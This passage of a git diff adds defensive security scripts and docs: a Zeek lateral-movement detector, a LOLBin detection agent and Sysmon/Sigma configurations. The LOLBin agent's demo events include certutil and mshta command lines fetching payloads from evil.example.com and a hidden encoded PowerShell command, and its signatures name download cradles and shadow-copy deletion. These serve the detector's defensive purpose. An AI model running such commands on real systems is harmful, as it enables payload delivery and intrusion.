"10.0.1.50->10.0.1.100:445", "connections": 287} + ], + "top_data_transfer_pairs": [ + {"pair": "10.0.1.50->10.0.1.100:445", "bytes": 104857600, "megabytes": 100.0} + ], + "findings": [] +} +``` + +## Zeek CLI Commands + +```bash +# Install BZAR package for ATT&CK detections +zkg install zeek/mitre-attack/bzar + +# Extract SMB admin share access +zeek-cut ts id.orig_h id.resp_h path share_type < smb_mapping.log | grep -iE '(C\$|ADMIN\$)' + +# Extract DCE/RPC service creation +zeek-cut ts id.orig_h id.resp_h endpoint operation < dce_rpc.log | grep -i svcctl + +# Extract failed NTLM authentications +zeek-cut ts id.orig_h id.resp_h username success < ntlm.log | awk '$5 == "F"' +``` + +## References + +- Zeek Documentation: https://docs.zeek.org/ +- BZAR (ATT&CK Zeek Analysis Rules): https://github.com/mitre-attack/bzar +- MITRE ATT&CK Lateral Movement: https://attack.mitre.org/tactics/TA0008/ +- Zeek Log Formats: https://docs.zeek.org/en/master/logs/index.html +- Zeek SMB Protocol Analyzer: https://docs.zeek.org/en/master/scripts/base/protocols/smb/ diff --git a/skills/detecting-lateral-movement-with-zeek/scripts/agent.py b/skills/detecting-lateral-movement-with-zeek/scripts/agent.py new file mode 100644 index 00000000..fcb5814d --- /dev/null +++ b/skills/detecting-lateral-movement-with-zeek/scripts/agent.py @@ -0,0 +1,530 @@ +#!/usr/bin/env python3 +"""Zeek lateral movement detection agent. + +Parses Zeek conn.log, smb_mapping.log, smb_files.log, dce_rpc.log, +ntlm.log, and kerberos.log to detect lateral movement indicators: +admin share access, PsExec-style service creation, Pass-the-Hash, +and anomalous internal host-to-host connections. +""" + +import csv +import json +import os +import re +import sys +from collections import defaultdict +from datetime import datetime, timezone + + +# Zeek TSV log field definitions per log type +CONN_FIELDS = [ + "ts", "uid", "id.orig_h", "id.orig_p", "id.resp_h", "id.resp_p", + "proto", "service", "duration", "orig_bytes", "resp_bytes", + "conn_state", "local_orig", "local_resp", "missed_bytes", "history", + "orig_pkts", "orig_ip_bytes", "resp_pkts", "resp_ip_bytes", + "tunnel_parents", +] + +SMB_MAPPING_FIELDS = [ + "ts", "uid", "id.orig_h", "id.orig_p", "id.resp_h", "id.resp_p", + "path", "service", "native_file_system", "share_type", +] + +SMB_FILES_FIELDS = [ + "ts", "uid", "id.orig_h", "id.orig_p", "id.resp_h", "id.resp_p", + "fuid", "action", "path", "name", "size", "prev_name", "times.modified", + "times.accessed", "times.created", "times.changed", +] + +DCE_RPC_FIELDS = [ + "ts", "uid", "id.orig_h", "id.orig_p", "id.resp_h", "id.resp_p", + "rtt", "named_pipe", "endpoint", "operation", +] + +NTLM_FIELDS = [ + "ts", "uid", "id.orig_h", "id.orig_p", "id.resp_h", "id.resp_p", + "username", "hostname", "domainname", "server_nb_computer_name", + "server_dns_computer_name", "server_tree_name", "success", +] + +KERBEROS_FIELDS = [ + "ts", "uid", "id.orig_h", "id.orig_p", "id.resp_h", "id.resp_p", + "request_type", "client", "service", "success", "error_msg", + "from", "till", "cipher", "forwardable", "renewable", "client_cert_subject", + "client_cert_fuid", "server_cert_subject", "server_cert_fuid", +] + +# Internal RFC1918 ranges +INTERNAL_PREFIXES = ("10.", "172.16.", "172.17.", "172.18.", "172.19.", + "172.20.", "172.21.", "172.22.", "172.23.", "172.24.", + "172.25.", "172.26.", "172.27.", "172.28.", "172.29.", + "172.30.", "172.31.", "192.168.") + +# Lateral movement ports +LATERAL_PORTS = { + "445": "SMB", + "135": "DCE/RPC", + "139": "NetBIOS-SSN", + "3389": "RDP", + "5985": "WinRM-HTTP", + "5986": "WinRM-HTTPS", + "22": "SSH", + "23": "Telnet", +} + +# Admin shares indicating lateral movement +ADMIN_SHARES = re.compile(r"(C\$|ADMIN\$|IPC\$|D\$|E\$)", re.IGNORECASE) + +# DCE/RPC endpoints associated with remote execution +SUSPICIOUS_ENDPOINTS = { + "svcctl": "Service Control Manager (PsExec pattern)", + "atsvc": "AT Scheduler Service (at.exe / schtasks)", + "ITaskSchedulerService": "Task Scheduler (schtasks v2)", + "winreg": "Remote Registry", + "samr": "SAM Remote Protocol (user enumeration)", + "lsarpc": "LSA Remote Protocol (policy enumeration)", + "wkssvc": "Workstation Service (NetWkstaUserEnum)", + "srvsvc": "Server Service (NetShareEnum/NetSessionEnum)", + "epmapper": "Endpoint Mapper (RPC enumeration)", +} + + +def is_internal(ip): + """Check if an IP address is in RFC1918 private ranges.""" + return any(ip.startswith(prefix) for prefix in INTERNAL_PREFIXES) + + +def parse_zeek_tsv(filepath, field_names): + """Parse a Zeek TSV log file, skipping comment/header lines.""" + records = [] + if not os.path.exists(filepath): + return records + with open(filepath, "r", errors="replace") as f: + for line in f: + line = line.rstrip("\n") + if line.startswith("#") or not line: + continue + parts = line.split("\t") + record = {} + for i, field in enumerate(field_names): + record[field] = parts[i] if i < len(parts) else "-" + records.append(record) + return records + + +def parse_zeek_json(filepath): + """Parse a Zeek JSON log file (one JSON object per line).""" + records = [] + if not os.path.exists(filepath): + return records + with open(filepath, "r", errors="replace") as f: + for line in f: + line = line.strip() + if not line: + continue + try: + records.append(json.loads(line)) + except json.JSONDecodeError: + continue + return records + + +def parse_zeek_log(filepath, field_names): + """Auto-detect Zeek log format (TSV or JSON) and parse accordingly.""" + if not os.path.exists(filepath): + return [] + with open(filepath, "r", errors="replace") as f: + first_line = "" + for line in f: + line = line.strip() + if line and not line.startswith("#"): + first_line = line + break + if first_line.startswith("{"): + return parse_zeek_json(filepath) + return parse_zeek_tsv(filepath, field_names) + + +def ts_to_iso(ts_str): + """Convert Zeek epoch timestamp string to ISO 8601.""" + try: + epoch = float(ts_str) + dt = datetime.fromtimestamp(epoch, tz=timezone.utc) + return dt.strftime("%Y-%m-%dT%H:%M:%S.%fZ") + except (ValueError, TypeError, OSError): + return ts_str + + +def analyze_conn_log(log_dir): + """Analyze conn.log for internal lateral movement connections.""" + records = parse_zeek_log(os.path.join(log_dir, "conn.log"), CONN_FIELDS) + findings = [] + host_pair_counts = defaultdict(int) + host_pair_bytes = defaultdict(int) + + for rec in records: + orig = rec.get("id.orig_h", "") + resp = rec.get("id.resp_h", "") + resp_p = rec.get("id.resp_p", "") + service = rec.get("service", "-") + + if not (is_internal(orig) and is_internal(resp)): + continue + if orig == resp: + continue + + pair_key = f"{orig}->{resp}:{resp_p}" + host_pair_counts[pair_key] += 1 + + orig_bytes = rec.get("orig_bytes", "0") + resp_bytes = rec.get("resp_bytes", "0") + try: + total = int(orig_bytes) + int(resp_bytes) + except ValueError: + total = 0 + host_pair_bytes[pair_key] += total + + if resp_p in LATERAL_PORTS: + findings.append({ + "type": "lateral_port_connection", + "timestamp": ts_to_iso(rec.get("ts", "")), + "src": orig, + "dst": resp, + "port": resp_p, + "service_label": LATERAL_PORTS[resp_p], + "zeek_service": service, + "uid": rec.get("uid", ""), + }) + + return findings, host_pair_counts, host_pair_bytes + + +def analyze_smb_mapping(log_dir): + """Analyze smb_mapping.log for admin share access.""" + records = parse_zeek_log( + os.path.join(log_dir, "smb_mapping.log"), SMB_MAPPING_FIELDS + ) + findings = [] + for rec in records: + path = rec.get("path", "") + if ADMIN_SHARES.search(path): + findings.append({ + "type": "admin_share_access", + "severity": "HIGH", + "timestamp": ts_to_iso(rec.get("ts", "")), + "src": rec.get("id.orig_h", ""), + "dst": rec.get("id.resp_h", ""), + "share_path": path, + "share_type": rec.get("share_type", ""), + "uid": rec.get("uid", ""), + }) + return findings + + +def analyze_smb_files(log_dir): + """Analyze smb_files.log for file writes to network shares.""" + records = parse_zeek_log( + os.path.join(log_dir, "smb_files.log"), SMB_FILES_FIELDS + ) + findings = [] + suspicious_extensions = (".exe", ".dll", ".bat", ".ps1", ".vbs", ".scr", + ".cmd", ".msi", ".hta", ".sys") + for rec in records: + action = rec.get("action", "") + name = rec.get("name", "") + if "WRITE" in action.upper(): + severity = "MEDIUM" + if any(name.lower().endswith(ext) for ext in suspicious_extensions): + severity = "CRITICAL" + findings.append({ + "type": "smb_file_write", + "severity": severity, + "timestamp": ts_to_iso(rec.get("ts", "")), + "src": rec.get("id.orig_h", ""), + "dst": rec.get("id.resp_h", ""), + "action": action, + "path": rec.get("path", ""), + "filename": name, + "size": rec.get("size", "-"), + "uid": rec.get("uid", ""), + }) + return findings + + +def analyze_dce_rpc(log_dir): + """Analyze dce_rpc.log for remote execution operations.""" + records = parse_zeek_log( + os.path.join(log_dir, "dce_rpc.log"), DCE_RPC_FIELDS + ) + findings = [] + for rec in records: + endpoint = rec.get("endpoint", "").lower() + operation = rec.get("operation", "") + for sus_ep, description in SUSPICIOUS_ENDPOINTS.items(): + if sus_ep.lower() in endpoint: + severity = "CRITICAL" if sus_ep in ("svcctl", "atsvc", "ITaskSchedulerService") else "HIGH" + findings.append({ + "type": "suspicious_dce_rpc", + "severity": severity, + "timestamp": ts_to_iso(rec.get("ts", "")), + "src": rec.get("id.orig_h", ""), + "dst": rec.get("id.resp_h", ""), + "endpoint": endpoint, + "operation": operation, + "description": description, + "named_pipe": rec.get("named_pipe", ""), + "uid": rec.get("uid", ""), + }) + break + return findings + + +def analyze_ntlm(log_dir): + """Analyze ntlm.log for Pass-the-Hash and authentication anomalies.""" + records = parse_zeek_log( + os.path.join(log_dir, "ntlm.log"), NTLM_FIELDS + ) + findings = [] + user_source_map = defaultdict(set) + failed_auths = defaultdict(int) + + for rec in records: + username = rec.get("username", "-") + orig = rec.get("id.orig_h", "") + resp = rec.get("id.resp_h", "") + success = rec.get("success", "") + + if username != "-" and username: + user_source_map[username].add(orig) + + if success.upper() in ("F", "FALSE"): + failed_auths[(orig, resp, username)] += 1 + + # Detect one user authenticating from multiple source IPs (Pass-the-Hash indicator) + for username, sources in user_source_map.items(): + if len(sources) > 2: + findings.append({ + "type": "multi_source_ntlm_auth", + "severity": "HIGH", + "description": "Single user authenticating from multiple source IPs (possible PtH)", + "username": username, + "source_ips": sorted(sources), + "source_count": len(sources), + }) + + # Detect brute force / credential spray + for (orig, resp, username), count in failed_auths.items(): + if count >= 5: + findings.append({ + "type": "ntlm_brute_force", + "severity": "HIGH", + "src": orig, + "dst": resp, + "username": username, + "failed_attempts": count, + }) + + return findings + + +def analyze_kerberos(log_dir): + """Analyze kerberos.log for ticket anomalies.""" + records = parse_zeek_log( + os.path.join(log_dir, "kerberos.log"), KERBEROS_FIELDS + ) + findings = [] + tgt_sources = defaultdict(set) + + for rec in records: + request_type = rec.get("request_type", "") + client = rec.get("client", "") + orig = rec.get("id.orig_h", "") + error_msg = rec.get("error_msg", "-") + success = rec.get("success", "") + + if request_type == "AS": + tgt_sources[client].add(orig) + + # Kerberos pre-auth failures (credential testing) + if error_msg and "PREAUTH_FAILED" in error_msg.upper(): + findings.append({ + "type": "kerberos_preauth_failure", + "severity": "MEDIUM", + "timestamp": ts_to_iso(rec.get("ts", "")), + "src": orig, + "dst": rec.get("id.resp_h", ""), + "client": client, + "error": error_msg, + }) + + # Detect TGT requested from multiple IPs (possible Pass-the-Ticket) + for client, sources in tgt_sources.items(): + if len(sources) > 2: + findings.append({ + "type": "multi_source_tgt_request", + "severity": "HIGH", + "description": "TGT requested from multiple source IPs (possible Pass-the-Ticket)", + "client": client, + "source_ips": sorted(sources), + "source_count": len(sources), + }) + + return findings + + +def detect_psexec_pattern(smb_findings, dce_findings): + """Correlate SMB file writes with DCE/RPC svcctl to detect PsExec-style attacks.""" + correlated = [] + smb_writes = {} + for f in smb_findings: + if f["severity"] == "CRITICAL": + key = (f["src"], f["dst"]) + smb_writes.setdefault(key, []).append(f) + + for f in dce_findings: + if "svcctl" in f.get("endpoint", ""): + key = (f["src"], f["dst"]) + if key in smb_writes: + correlated.append({ + "type": "psexec_pattern", + "severity": "CRITICAL", + "description": "SMB executable write followed by svcctl service creation (PsExec-style)", + "src": f["src"], + "dst": f["dst"], + "smb_writes": smb_writes[key], + "dce_rpc_operation": f["operation"], + "timestamp": f["timestamp"], + }) + return correlated + + +def generate_report(all_findings, host_pair_counts, host_pair_bytes): + """Generate a structured lateral movement report.""" + severity_counts = defaultdict(int) + type_counts = defaultdict(int) + for f in all_findings: + severity_counts[f.get("severity", "INFO")] += 1 + type_counts[f.get("type", "unknown")] += 1 + + # Top talkers by connection count + top_pairs = sorted(host_pair_counts.items(), key=lambda x: x[1], reverse=True)[:20] + # Top talkers by bytes + top_bytes = sorted(host_pair_bytes.items(), key=lambda x: x[1], reverse=True)[:20] + + report = { + "summary": { + "total_findings": len(all_findings), + "by_severity": dict(severity_counts), + "by_type": dict(type_counts), + }, + "top_connection_pairs": [ + {"pair": k, "connections": v} for k, v in top_pairs + ], + "top_data_transfer_pairs": [ + {"pair": k, "bytes": v, "megabytes": round(v / (1024 * 1024), 2)} + for k, v in top_bytes + ], + "findings": all_findings, + } + return report + + +if __name__ == "__main__": + print("=" * 60) + print("Zeek Lateral Movement Detection Agent") + print("conn.log, SMB, DCE/RPC, NTLM, Kerberos analysis") + print("=" * 60) + + log_dir = sys.argv[1] if len(sys.argv) > 1 else "/opt/zeek/logs/current" + + if not os.path.isdir(log_dir): + print(f"\n[ERROR] Log directory not found: {log_dir}") + print("[DEMO] Usage: python agent.py ") + print("[*] Provide a directory containing Zeek log files (conn.log, smb_mapping.log, etc.)") + sys.exit(1) + + print(f"\n[*] Analyzing Zeek logs in: {log_dir}") + + # Check which log files are available + log_files = ["conn.log", "smb_mapping.log", "smb_files.log", + "dce_rpc.log", "ntlm.log", "kerberos.log"] + for lf in log_files: + path = os.path.join(log_dir, lf) + status = "found" if os.path.exists(path) else "NOT FOUND" + print(f" {lf}: {status}") + + all_findings = [] + + print("\n--- Connection Analysis (conn.log) ---") + conn_findings, pair_counts, pair_bytes = analyze_conn_log(log_dir) + lateral_conns = [f for f in conn_findings if f["type"] == "lateral_port_connection"] + print(f" Internal lateral-port connections: {len(lateral_conns)}") + services = defaultdict(int) + for f in lateral_conns: + services[f["service_label"]] += 1 + for svc, count in sorted(services.items(), key=lambda x: -x[1]): + print(f" {svc}: {count}") + + print("\n--- SMB Admin Share Access (smb_mapping.log) ---") + smb_map_findings = analyze_smb_mapping(log_dir) + print(f" Admin share accesses: {len(smb_map_findings)}") + for f in smb_map_findings[:10]: + print(f" [!] {f['src']} -> {f['dst']} share={f['share_path']}") + all_findings.extend(smb_map_findings) + + print("\n--- SMB File Writes (smb_files.log) ---") + smb_file_findings = analyze_smb_files(log_dir) + critical_writes = [f for f in smb_file_findings if f["severity"] == "CRITICAL"] + print(f" Total file writes: {len(smb_file_findings)}, Critical (executables): {len(critical_writes)}") + for f in critical_writes[:10]: + print(f" [CRITICAL] {f['src']} -> {f['dst']} wrote {f['filename']} ({f['size']} bytes)") + all_findings.extend(smb_file_findings) + + print("\n--- DCE/RPC Remote Execution (dce_rpc.log) ---") + dce_findings = analyze_dce_rpc(log_dir) + print(f" Suspicious DCE/RPC operations: {len(dce_findings)}") + for f in dce_findings[:10]: + print(f" [{f['severity']}] {f['src']} -> {f['dst']} " + f"endpoint={f['endpoint']} op={f['operation']} ({f['description']})") + all_findings.extend(dce_findings) + + print("\n--- NTLM Authentication Analysis (ntlm.log) ---") + ntlm_findings = analyze_ntlm(log_dir) + for f in ntlm_findings: + if f["type"] == "multi_source_ntlm_auth": + print(f" [HIGH] PtH indicator: user '{f['username']}' from {f['source_count']} IPs: " + f"{', '.join(f['source_ips'][:5])}") + elif f["type"] == "ntlm_brute_force": + print(f" [HIGH] Brute force: {f['src']} -> {f['dst']} " + f"user='{f['username']}' failures={f['failed_attempts']}") + all_findings.extend(ntlm_findings) + + print("\n--- Kerberos Analysis (kerberos.log) ---") + krb_findings = analyze_kerberos(log_dir) + for f in krb_findings: + if f["type"] == "multi_source_tgt_request": + print(f" [HIGH] PtT indicator: client '{f['client']}' TGT from {f['source_count']} IPs") + elif f["type"] == "kerberos_preauth_failure": + print(f" [MEDIUM] Pre-auth failure: {f['src']} client={f['client']}") + all_findings.extend(krb_findings) + + print("\n--- PsExec Pattern Correlation ---") + psexec = detect_psexec_pattern(smb_file_findings, dce_findings) + for p in psexec: + print(f" [CRITICAL] PsExec-style: {p['src']} -> {p['dst']} " + f"(exe write + svcctl {p['dce_rpc_operation']})") + all_findings.extend(psexec) + + report = generate_report(all_findings, pair_counts, pair_bytes) + + print(f"\n{'=' * 60}") + print(f"SUMMARY: {report['summary']['total_findings']} findings") + for sev, count in sorted(report["summary"]["by_severity"].items()): + print(f" {sev}: {count}") + + if report["top_connection_pairs"]: + print("\nTop internal connection pairs:") + for p in report["top_connection_pairs"][:5]: + print(f" {p['pair']}: {p['connections']} connections") + + print(f"\n[*] Full report: {json.dumps(report['summary'], indent=2)}") diff --git a/skills/implementing-osquery-for-endpoint-monitoring/LICENSE b/skills/detecting-living-off-the-land-attacks.bak/LICENSE similarity index 100% rename from skills/implementing-osquery-for-endpoint-monitoring/LICENSE rename to skills/detecting-living-off-the-land-attacks.bak/LICENSE diff --git a/skills/detecting-living-off-the-land-attacks.bak/SKILL.md b/skills/detecting-living-off-the-land-attacks.bak/SKILL.md new file mode 100644 index 00000000..3e443022 --- /dev/null +++ b/skills/detecting-living-off-the-land-attacks.bak/SKILL.md @@ -0,0 +1,19 @@ +--- +name: detecting-living-off-the-land-attacks +description: > + Detect abuse of legitimate Windows binaries (LOLBins) used for living off + the land attacks. Monitors process creation, command-line arguments, and + parent-child relationships to identify suspicious LOLBin execution patterns. +domain: cybersecurity +subdomain: threat-detection +tags: [lolbins, lotl, fileless-attacks, process-monitoring] +version: "1.0" +author: mahipal +license: Apache-2.0 +--- + +# Detecting Living Off the Land Attacks + +Monitor for suspicious use of legitimate Windows binaries (LOLBins) +including certutil, mshta, rundll32, regsvr32, and others used in +fileless and living-off-the-land attack techniques. diff --git a/skills/detecting-living-off-the-land-attacks.bak/references/api-reference.md b/skills/detecting-living-off-the-land-attacks.bak/references/api-reference.md new file mode 100644 index 00000000..9d10e358 --- /dev/null +++ b/skills/detecting-living-off-the-land-attacks.bak/references/api-reference.md @@ -0,0 +1,70 @@ +# API Reference: Detecting Living Off the Land Attacks + +## LOLBAS Project +- Website: https://lolbas-project.github.io/ +- API: https://lolbas-project.github.io/api/lolbas.json +- GitHub: https://github.com/LOLBAS-Project/LOLBAS + +## Key LOLBins and MITRE Mappings +| Binary | MITRE ATT&CK | Abuse Type | +|--------|-------------|------------| +| certutil.exe | T1140, T1105 | File download, decode | +| mshta.exe | T1218.005 | Script execution via HTA | +| rundll32.exe | T1218.011 | Proxy execution | +| regsvr32.exe | T1218.010 | COM scriptlet execution | +| msbuild.exe | T1127.001 | Code compilation | +| bitsadmin.exe | T1197, T1105 | File download, persistence | +| wmic.exe | T1047 | WMI execution | +| cscript.exe | T1059.005 | VBS/JS script execution | +| installutil.exe | T1218.004 | .NET install bypass | +| powershell.exe | T1059.001 | Script execution | + +## Sysmon Event IDs for Detection +| Event ID | Description | +|----------|------------| +| 1 | Process Create (CommandLine, ParentImage) | +| 3 | Network Connection (detect downloads) | +| 7 | Image Loaded (DLL side-loading) | +| 11 | File Create (dropped payloads) | +| 15 | FileCreateStreamHash (ADS abuse) | + +## Sigma Rules for LOLBin Detection +```yaml +title: Certutil File Download +logsource: + category: process_creation + product: windows +detection: + selection: + Image|endswith: '\\certutil.exe' + CommandLine|contains|all: + - 'urlcache' + - 'split' + - 'http' + condition: selection +level: high +tags: + - attack.defense_evasion + - attack.t1140 +``` + +## Splunk SPL Detection +```spl +index=sysmon EventCode=1 +| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|bitsadmin)\\.exe$") +| eval suspicious=case( + like(CommandLine, "%urlcache%"), "certutil download", + like(CommandLine, "%javascript:%"), "script execution", + like(CommandLine, "%-enc %"), "encoded command", + true(), "review") +| where suspicious!="review" +| table _time Computer User Image CommandLine ParentImage suspicious +``` + +## Suspicious Parent-Child Relationships +| Parent | Suspicious Child | +|--------|-----------------| +| winword.exe | cmd.exe, powershell.exe, mshta.exe | +| excel.exe | cmd.exe, powershell.exe, wmic.exe | +| outlook.exe | powershell.exe, cmd.exe | +| wmiprvse.exe | powershell.exe, cmd.exe | diff --git a/skills/detecting-living-off-the-land-attacks.bak/scripts/agent.py b/skills/detecting-living-off-the-land-attacks.bak/scripts/agent.py new file mode 100644 index 00000000..6b4fe1e1 --- /dev/null +++ b/skills/detecting-living-off-the-land-attacks.bak/scripts/agent.py @@ -0,0 +1,221 @@ +#!/usr/bin/env python3 +"""Living off the land (LOLBin) attack detection agent. + +Monitors process creation logs for suspicious use of legitimate Windows +binaries, correlates with LOLBAS project data, and flags anomalous +command-line patterns and parent-child process relationships. +""" + +import argparse +import json +import os +import re +import datetime + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +LOLBIN_SIGNATURES = { + "certutil.exe": { + "suspicious_args": [ + r"-urlcache", r"-split", r"-decode", r"-encode", + r"-verifyctl", r"http[s]?://", + ], + "mitre": ["T1140", "T1105"], + "description": "Certificate utility abused for file download/decode", + }, + "mshta.exe": { + "suspicious_args": [r"javascript:", r"vbscript:", r"http[s]?://", r"about:"], + "mitre": ["T1218.005"], + "description": "HTML Application host used for script execution", + }, + "rundll32.exe": { + "suspicious_args": [ + r"javascript:", r"shell32\.dll.*ShellExec_RunDLL", + r"url\.dll.*FileProtocolHandler", r"advpack\.dll.*RegisterOCX", + ], + "mitre": ["T1218.011"], + "description": "DLL loader abused for proxy execution", + }, + "regsvr32.exe": { + "suspicious_args": [r"/s", r"/u", r"/i:http", r"scrobj\.dll"], + "mitre": ["T1218.010"], + "description": "COM registration utility abused for script execution", + }, + "msbuild.exe": { + "suspicious_args": [r"\.xml$", r"\.csproj$", r"/p:", r"\.tmp"], + "mitre": ["T1127.001"], + "description": "Build tool abused for code compilation and execution", + }, + "installutil.exe": { + "suspicious_args": [r"/logfile=", r"/LogToConsole=false", r"/U"], + "mitre": ["T1218.004"], + "description": ".NET install utility abused for code execution", + }, + "bitsadmin.exe": { + "suspicious_args": [r"/transfer", r"/create", r"/addfile", r"http[s]?://"], + "mitre": ["T1197", "T1105"], + "description": "BITS service abused for file download and persistence", + }, + "wmic.exe": { + "suspicious_args": [ + r"process\s+call\s+create", r"os\s+get", r"/node:", + r"shadowcopy\s+delete", + ], + "mitre": ["T1047"], + "description": "WMI command-line abused for execution and recon", + }, + "cscript.exe": { + "suspicious_args": [r"\.vbs", r"\.js", r"//E:jscript", r"//B"], + "mitre": ["T1059.005", "T1059.007"], + "description": "Script host executing VBS/JS from unusual location", + }, + "powershell.exe": { + "suspicious_args": [ + r"-enc\s+[A-Za-z0-9+/=]{20,}", r"-ExecutionPolicy\s+Bypass", + r"-WindowStyle\s+Hidden", r"Invoke-Expression", + r"IEX\s*\(", r"Net\.WebClient", r"DownloadString", + ], + "mitre": ["T1059.001"], + "description": "PowerShell with obfuscation or download cradle", + }, +} + +SUSPICIOUS_PARENTS = { + "winword.exe": "Office application spawning child process", + "excel.exe": "Office application spawning child process", + "outlook.exe": "Email client spawning child process", + "powerpnt.exe": "Office application spawning child process", + "wmiprvse.exe": "WMI provider executing child process", + "svchost.exe": "Service host spawning unexpected child", +} + + +def analyze_process_event(process_name, command_line, parent_name=None): + """Analyze a process creation event for LOLBin abuse.""" + findings = [] + proc_lower = process_name.lower() + cmd_lower = command_line.lower() if command_line else "" + + sig = LOLBIN_SIGNATURES.get(proc_lower) + if sig: + matched_patterns = [] + for pattern in sig["suspicious_args"]: + if re.search(pattern, cmd_lower, re.IGNORECASE): + matched_patterns.append(pattern) + if matched_patterns: + findings.append({ + "type": "lolbin_abuse", + "binary": proc_lower, + "description": sig["description"], + "mitre_techniques": sig["mitre"], + "matched_patterns": matched_patterns, + "command_line": command_line[:200], + "severity": "HIGH", + }) + + if parent_name and parent_name.lower() in SUSPICIOUS_PARENTS: + findings.append({ + "type": "suspicious_parent", + "parent": parent_name.lower(), + "child": proc_lower, + "description": SUSPICIOUS_PARENTS[parent_name.lower()], + "severity": "HIGH", + }) + + return findings + + +def scan_process_log(log_entries): + """Scan a list of process creation log entries.""" + all_findings = [] + for entry in log_entries: + findings = analyze_process_event( + entry.get("process_name", ""), + entry.get("command_line", ""), + entry.get("parent_name"), + ) + if findings: + entry_result = {"event": entry, "findings": findings} + all_findings.append(entry_result) + return all_findings + + +def fetch_lolbas_data(): + """Fetch LOLBAS project data from GitHub.""" + if not HAS_REQUESTS: + return {"error": "requests not installed"} + url = "https://lolbas-project.github.io/api/lolbas.json" + try: + resp = requests.get(url, timeout=15) + if resp.status_code == 200: + data = resp.json() + return {"count": len(data), "binaries": [d.get("Name", "") for d in data[:30]]} + return {"error": f"HTTP {resp.status_code}"} + except Exception as e: + return {"error": str(e)} + + +def main(): + parser = argparse.ArgumentParser( + description="Detect living off the land (LOLBin) attacks" + ) + parser.add_argument("--log-file", help="JSON file with process creation events") + parser.add_argument("--fetch-lolbas", action="store_true", help="Fetch LOLBAS project data") + parser.add_argument("--output", "-o", help="Output JSON report path") + args = parser.parse_args() + + print("[*] Living Off the Land Attack Detection Agent") + print(f" Monitored LOLBins: {len(LOLBIN_SIGNATURES)}") + + report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z"} + + if args.fetch_lolbas: + lolbas = fetch_lolbas_data() + report["lolbas_project"] = lolbas + print(f"[*] LOLBAS data: {lolbas}") + + if args.log_file and os.path.isfile(args.log_file): + with open(args.log_file) as f: + events = json.load(f) + results = scan_process_log(events) + report["findings"] = results + print(f"[*] Events analyzed: {len(events)}") + print(f"[*] Suspicious findings: {len(results)}") + else: + demo_events = [ + {"process_name": "certutil.exe", + "command_line": "certutil.exe -urlcache -split -f https://evil.example.com/payload.exe C:\\temp\\payload.exe", + "parent_name": "cmd.exe"}, + {"process_name": "mshta.exe", + "command_line": "mshta.exe javascript:a=GetObject('script:https://evil.example.com/s.sct')", + "parent_name": "winword.exe"}, + {"process_name": "powershell.exe", + "command_line": "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -enc SQBFAFgA...", + "parent_name": "excel.exe"}, + {"process_name": "notepad.exe", + "command_line": "notepad.exe C:\\Users\\admin\\notes.txt", + "parent_name": "explorer.exe"}, + ] + results = scan_process_log(demo_events) + report["findings"] = results + print(f"\n[DEMO] Analyzed {len(demo_events)} process events") + for r in results: + for f in r["findings"]: + print(f" [!] {f['type']}: {f['binary'] if 'binary' in f else f.get('child','')} " + f"- {f['description']}") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + + print(json.dumps({"lolbins_monitored": len(LOLBIN_SIGNATURES), + "findings": len(report.get("findings", []))}, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-living-off-the-land-attacks/SKILL.md b/skills/detecting-living-off-the-land-attacks/SKILL.md index 3e443022..022ce6b6 100644 --- a/skills/detecting-living-off-the-land-attacks/SKILL.md +++ b/skills/detecting-living-off-the-land-attacks/SKILL.md @@ -17,3 +17,488 @@ license: Apache-2.0 Monitor for suspicious use of legitimate Windows binaries (LOLBins) including certutil, mshta, rundll32, regsvr32, and others used in fileless and living-off-the-land attack techniques. + +## When to Use + +- Building detection rules for SIEM or EDR platforms to catch LOLBin abuse in real time +- Investigating alerts where legitimate system binaries appear in unexpected execution contexts +- Threat hunting across endpoint telemetry for fileless attack indicators +- Hardening application whitelisting policies (AppLocker, WDAC) to restrict dangerous LOLBin usage +- Creating Sysmon configurations tuned to capture LOLBin-related process creation events +- Responding to incidents where adversaries bypassed AV by using only built-in OS tools + +**Do not use** for blocking all LOLBin execution outright; these are legitimate system tools with valid administrative uses. Detection must focus on anomalous context (parent process, command-line arguments, network activity) rather than binary presence alone. + +## Prerequisites + +- Sysmon v15+ installed on Windows endpoints with a tuned configuration (SwiftOnSecurity or Olaf Hartong baseline) +- SIEM platform ingesting Sysmon Event IDs 1 (Process Create), 3 (Network Connection), 7 (Image Loaded), 11 (File Create) +- Windows Event Log forwarding for Security Event IDs 4688 (Process Creation with command-line logging enabled) +- LOLBAS project reference: https://lolbas-project.github.io/ +- Python 3.8+ with `evtx`, `pandas` for offline log analysis +- Sigma rule repository for cross-platform detection rule authoring + +## Workflow + +### Step 1: Deploy a LOLBin-Focused Sysmon Configuration + +Create a Sysmon config that captures the process creation and network events needed for LOLBin detection: + +```xml + + + + + + + certutil.exe + mshta.exe + rundll32.exe + regsvr32.exe + msbuild.exe + installutil.exe + cmstp.exe + wmic.exe + bitsadmin.exe + certreq.exe + esentutl.exe + expand.exe + extrac32.exe + findstr.exe + hh.exe + ie4uinit.exe + mavinject.exe + msiexec.exe + odbcconf.exe + pcalua.exe + presentationhost.exe + replace.exe + xwizard.exe + + powershell.exe + pwsh.exe + + cscript.exe + wscript.exe + + + + + + + certutil.exe + mshta.exe + rundll32.exe + regsvr32.exe + msbuild.exe + bitsadmin.exe + expand.exe + esentutl.exe + replace.exe + + + + +``` + +```powershell +# Install or update Sysmon with the LOLBin config +sysmon64.exe -accepteula -i sysmon-lolbin-detection.xml + +# Update existing Sysmon installation +sysmon64.exe -c sysmon-lolbin-detection.xml +``` + +### Step 2: Build Sigma Detection Rules for Key LOLBins + +Write Sigma rules that detect specific abuse patterns, translatable to any SIEM: + +```yaml +# File: sigma/certutil_download.yml +title: Certutil Used to Download File +id: a1b2c3d4-5678-9abc-def0-123456789abc +status: stable +description: > + Detects certutil.exe being used to download files from remote URLs, + a common LOLBin technique for payload delivery (LOLBAS T1105). +references: + - https://lolbas-project.github.io/lolbas/Binaries/Certutil/ + - https://attack.mitre.org/techniques/T1105/ +author: Threat Detection Team +date: 2026/01/20 +logsource: + category: process_creation + product: windows +detection: + selection: + Image|endswith: '\certutil.exe' + CommandLine|contains|all: + - 'urlcache' + - '-f' + - 'http' + condition: selection +falsepositives: + - Legitimate certificate 